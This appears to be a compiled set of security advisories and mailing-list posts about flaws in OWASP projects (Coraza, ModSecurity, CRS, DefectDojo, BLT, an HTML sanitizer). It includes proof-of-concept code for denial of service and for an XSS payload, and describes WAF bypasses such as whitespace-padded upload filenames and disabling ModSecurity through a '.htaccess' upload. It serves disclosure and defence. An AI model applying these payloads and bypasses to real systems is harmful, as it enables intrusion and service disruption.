OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.8.1, internal/cookies.ParseCookies in internal/cookies/cookies.go handles boundary ASCII control characters and control-only or empty cookie names differently from several backend cookie parsers. An unauthenticated attacker can craft a Cookie header so Coraza indexes or drops a cookie under a different name or value from the backend application, causing rules targeting REQUESTCOOKIES or REQUESTCOOKIESNAMES to miss application-visible attacker data. Exploitation depends on the backend parser and affected rule scope, and interior control characters with inconsistent backend behavior are outside this advisory's remediation. This issue is fixed in version 3.8.1.

Summary

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPARTSTRICTERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Details

internal/bodyprocessors/multipart.go, line 69:

go for { p, err := mr.NextPart() // ... temp, err := os.CreateTemp(storagePath, "crzmp") defer temp.Close() // wrong scope io.Copy(temp, p) }

Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.

PoC

Tested on v3.7.0 (db9850b), Go 1.25, Linux x8664.

Add this file at internal/bodyprocessors/pocfdtest.go and run:

text go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

go package bodyprocessorstest

import ( "fmt" "os" "strings" "sync" "sync/atomic" "testing"

"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )

func countFDs() int { e, := os.ReadDir("/proc/self/fd") return len(e) }

func TestMultipartFDLeak(t testing.T) { boundary := "testboundary" var sb strings.Builder for i := 0; i < 500; i++ { fmt.Fprintf(&sb, "--%s\r\n", boundary) fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i) sb.WriteString("\r\n") sb.WriteString("X\r\n") } fmt.Fprintf(&sb, "--%s--\r\n", boundary)

mp, := bodyprocessors.GetBodyProcessor("multipart") baseline := countFDs()

var peak int64 done := make(chan struct{}) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for { select { case <-done: return default: n := int64(countFDs()) for { cur := atomic.LoadInt64(&peak) if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) { break } } } } }()

v := corazawaf.NewTransactionVariables() mp.ProcessRequest(strings.NewReader(sb.String()), v, plugintypes.BodyProcessorOptions{ Mime: "multipart/form-data; boundary=" + boundary, StoragePath: t.TempDir(), }) close(done) wg.Wait()

t.Logf("baseline=%d peak=%d spike=+%d", baseline, atomic.LoadInt64(&peak), atomic.LoadInt64(&peak)-int64(baseline)) }

Output:

text baseline=7 peak=506 spike=+499

The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.

Impact

- No authentication required. Any endpoint that accepts multipart uploads is affected. - fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPARTSTRICTERROR is set to 1. - CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either. - Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.

Summary

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

go const ignoreJSONRecursionLimit = -1 // line 51

func (js jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 }

func (js jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 }

The guard and the decrement:

go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is ), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):

depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/pocjsontest.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...

go package bodyprocessorstest

import ( "strings" "testing" "time"

"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" )

func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth6 + 4) for i := 0; i < depth; i++ { sb.WriteString({"a":) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() }

func TestPoCJSONResponse(t testing.T) { proc, := bodyprocessors.GetBodyProcessor("json")

// Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes)

// Quadratic scaling on the response path. for , depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } }

Output on the reference machine:

depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.

Suggested fix

Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.

An issue in the JsonSanitizer.sanitize() component of OWASP json-sanitizer v1.2.3 allows attackers to cause a Denial of Service (DoS) via a crafted input.

Latest version: 5.1.2

A vulnerability was identified in OWASP DefectDojo 2.59.0. This issue affects the function UserSerializer of the file dojo/apiv2/serializers.py of the component API/Web. Such manipulation of the argument isstaff leads to improper privilege management. The attack may be performed from remote. The exploit is publicly available and might be used. Upgrading to version 2.58.3 and 3.0.0 is capable of addressing this issue. The name of the patch is 68a272f299d096249fd3ba9c2676bf69012857bf. It is advisable to upgrade the affected component. 2.59.0 was not intended to be released and has been removed.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Prior to 3.0.16, the multipart/form-data request body parser in libmodsecurity silently removes embedded line breaks from non-file form-field values before exporting them to ARGS and ARGSPOST because src/requestbodyprocessor/multipart.cc overwrites reserved bytes in mreserve instead of appending the current buffer. This creates a parser differential between ModSecurity and backend applications that preserve line breaks in form fields, allowing rules that inspect ARGS or ARGSPOST to miss payloads whose dangerous syntax depends on a line break. This issue is fixed in version 3.0.16.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 through 3.0.15, the t:utf8toUnicode transformation in src/actions/transformations/utf8tounicode.cc produces wrong output on i386 architecture because snprintf uses sizeof on a char pointer rather than the length of the unicode buffer, allowing rules that use this transformation to be bypassed on i386 architecture. This issue is fixed in version 3.0.16.

End of life: 8/27/2026, Latest version: 5.0.5

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::outofrange) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pullrequesttarget (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Libmodsecurity is one component of the ModSecurity v3 project. A segmentation fault occurs when a rule using the t:hexDecode transformation inspects a query string parameter containing a single character. An attacker can exploit this to crash worker processes, causing a denial of service. Service resumes once the attack stops as worker processes recover from the segfault. All versions before 3.0.15 of libModSecurity3 are affected. This has been patched in version 3.0.15.

A vulnerability was determined in OWAP DefectDojo up to 2.55.4. Affected by this vulnerability is an unknown functionality of the component Benchmark/Engagement/Product/Survey. Executing a manipulation can lead to authorization bypass. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.56.0 addresses this issue. This patch is called eb6120a379185d37eb1af17b69bb5614a830ab1f. Upgrading the affected component is recommended.

Hi,

On Sat, Apr 18, 2026 at 08:14:12AM -0400, cyber security wrote: Also you can use CVE-2026-33691, to disable security headers while bypassing CRS

More info at https://unlockoldupload.hashnode.dev/turn-off-security-headers-using-cve-2026-33691 This gives a 404 Page Not Found, but more importantly actual content should have been directly included in your posting, not only referenced via a link (although providing a link as well would then be OK). On Sat, Apr 18, 2026 at 3:00 AM cyber security <cs7778503 () gmail com> wrote: After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691. This one exists. The gist of it is:

"upload a file called .htaccess with the content SecRuleEngine Off"

which should have been directly in your message.

With this, I think you've said enough about this CVE already, and should stop here - no further examples are needed.

Thanks,

Alexander

Also you can use CVE-2026-33691, to disable security headers while bypassing CRS

More info at https://unlockoldupload.hashnode.dev/turn-off-security-headers-using-cve-2026-33691

On Sat, Apr 18, 2026 at 3:00 AM cyber security <cs7778503 () gmail com> wrote: After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691.

On Thu, Apr 16, 2026 at 3:37 PM cyber security <cs7778503 () gmail com> wrote: Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

After deep analysis we confirm, that CVE-2026-33691 aka it alias UnlockOldUpload, can even disable ModSecurity WAF

More info at https://unlockoldupload.hashnode.dev/disable-modsecurity-waf-using-cve-2026-33691.

On Thu, Apr 16, 2026 at 3:37 PM cyber security <cs7778503 () gmail com> wrote: Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

Deep analysis by US confirm, that using CVE-2026-33691, in any platform wheter windows or linux or mac, you can bypass unpatched CRS and use CVE-2015-10138

as confirmed, as we see in that line

1 // Lines 493-498 of public/includes/UploadHandler.php 2 protected function trimfilename($name, $type = null, $index = null, $contentrange = null) { 3 // Remove path information and dots around the filename... 4 // Also remove control characters and spaces (\x00..\x20) around the filename: 5 $name = trim(basename(stripslashes($name)), ".\x00..\x20"); 6 // ... 7 }

It unlocks the old CVE-2015-10138 and an attacker get RCE if WAFs are not patched, that unlocks the old vuln power against a modern WAF, most peoples rely only on the WAF alone and Work The Flow File Upload plugin is never patched and even run EOL that is very common, That is the danger, after that confirm, we see one wordpress plugin confirmed trims whitespaces from uploaded files

On Sun, Mar 29, 2026 at 3:33 AM cyber security <cs7778503 () gmail com> wrote: A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Versions prior to 2.1.1 contain an RCE vulnerability in the .github/workflows/regenerate-migrations.yml workflow. The workflow uses the pullrequesttarget trigger to run with full GITHUBTOKEN write permissions, copies attacker-controlled files from untrusted pull requests into the trusted runner workspace via git show, and then executes python manage.py makemigrations, which imports Django model modules including attacker-controlled website/models.py at runtime. Any module-level Python code in the attacker's models.py is executed during import, enabling arbitrary code execution in the privileged CI environment with access to GITHUBTOKEN and repository secrets. The attack is triggerable by any external contributor who can open a pull request, provided a maintainer applies the regenerate-migrations label, potentially leading to secret exfiltration, repository compromise, and supply chain attacks. A patch for this issue is expected to be released in version 2.1.1.

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 3.3.9 and 4.25.0, a bypass was identified in OWASP CRS that allows uploading files with dangerous extensions (.php, .phar, .jsp, .jspx) by inserting whitespace padding in the filename (e.g. photo. php or shell.jsp ). The affected rules do not normalize whitespace before evaluating the file extension regex, so the dot-extension check fails to match. This issue has been patched in versions 3.3.9 and 4.25.0.

A vulnerability was identified in OWASP CRS where whitespace padding in filenames can bypass file upload extension checks, allowing uploads of dangerous files such as .php, .phar, .jsp, and .jspx. This issue has been assigned CVE‑2026‑33691.

Impact: Attackers may evade CRS protections and upload web shells disguised with whitespace‑padded extensions. Exploitation is most practical on Windows backends that normalize whitespace in filenames before execution, In linux harder because it require a backend that use like .strip() and .trim() and other whitespace trimming methods depending on the language here vulnerable to that or the webserver strip whitespaces or the backend on general, If not they not vulnerable to that.

Fix: Patched in CRS v3.3.9, v4.25.x LTS, and v4.8.x. Security fixes are always backported to supported branches.

References:

Full advisory: https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w

Credits: Reported by RelunSec (aka @HackingRepo on Github).

A security vulnerability has been detected in OWASP DefectDojo up to 2.55.4. This vulnerability affects the function inputzip.read of the file parser.py of the component SonarQubeParser/MSDefenderParser. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 2.56.0 is able to resolve this issue. The identifier of the patch is e8f1e5131535b8fd80a7b1b3085d676295fdcd41. Upgrading the affected component is recommended.

End of life: 12/9/2026, Latest version: 4.14.5

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like MULTIPARTPARTHEADERS), the capture variables (TX:0, TX:1) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.

FACTION is a PenTesting Report Generation and Collaboration Framework. Prior to version 1.7.1, an extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users. This issue has been patched in version 1.7.1.

Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

1. Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style"). 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

3. Run the following piece of code which sanitizes the payload.

java public class main { private static final String ALLOWEDHTMLTAGS = "p, noscript, style";

/ Description of vulnerability : The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. /

public static void main(String[] args) { withAllowedTextAndStyleTag(); }

/ Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWEDHTMLTAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

4. Output of the POC code should look like this

HTML

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

5. Lets understand what happened in sanitization process below

txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

6. Lets create a sample html page and copy both sanitized output which should be generated in step 5

HTML

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p>

</body> </html>

7. Open this HTML page in the browser it should pop an alert.

!Alt text

8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

!SAFE from XSS

9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

!XSS POC

Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

Dependency-Track is a component analysis platform that allows organizations to identify and reduce risk in the software supply chain. Prior to version 4.13.5, Dependency-Track may send credentials meant for a private NuGet repository to api.nuget.org via the HTTP Authorization header, and may disclose names and versions of components marked as internal to api.nuget.org. This can happen if the Dependency-Track instance contains .NET components, a custom NuGet repository has been configured, the custom repository has been configured with authentication credentials, and the repository server does not provide PackageBaseAddress resource in its service index. The issue has been fixed in Dependency-Track 4.13.5. Some workarounds are avaialble. Disable custom NuGet repositories until the patch has been applied, invalidate the previously used credentials, and generate new credentials for usage after the patch has been applied.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. In versions 2.9.11 and below, an attacker can override the HTTP response’s Content-Type, which could lead to several issues depending on the HTTP scenario. For example, we have demonstrated the potential for XSS and arbitrary script source code disclosure in the latest version of modsecurity2. This issue is fixed in version 2.9.12.

ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Versions prior to 2.9.10 contain a denial of service vulnerability similar to GHSA-859r-vvv8-rm8r/CVE-2025-47947. The sanitiseArg (and sanitizeArg - this is the same action but an alias) is vulnerable to adding an excessive number of arguments, thereby leading to denial of service. Version 2.9.10 fixes the issue. As a workaround, avoid using rules that contain the sanitiseArg (or sanitizeArg) action.

End of life: 3/9/2026, Latest version: 4.13.6

Summary

URLs starting with // are not parsed properly, and the request REQUESTFILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUESTFILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUESTFILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

go package main

import ( "fmt" "net/url" "os"

"github.com/corazawaf/coraza/v3" )

const testRule = SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUESTFILENAME "@rx /bar/uploads/.\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"

func main() { var testURL = "//bar/uploads/foo.php"

if os.Getenv("TESTURL") != "" { testURL = os.Getenv("TESTURL") }

fmt.Printf("Testing URL: %s\n", testURL)

config := coraza.NewWAFConfig().WithDirectives(testRule)

waf, err := coraza.NewWAF(config)

if err != nil { panic(err) }

tx := waf.NewTransaction()

tx.ProcessURI(testURL, "GET", "HTTP/1.1")

in := tx.ProcessRequestHeaders()

if in != nil { fmt.Printf("%+v\n", in) } }

Impact

Potential bypass of rules using REQUESTFILENAME.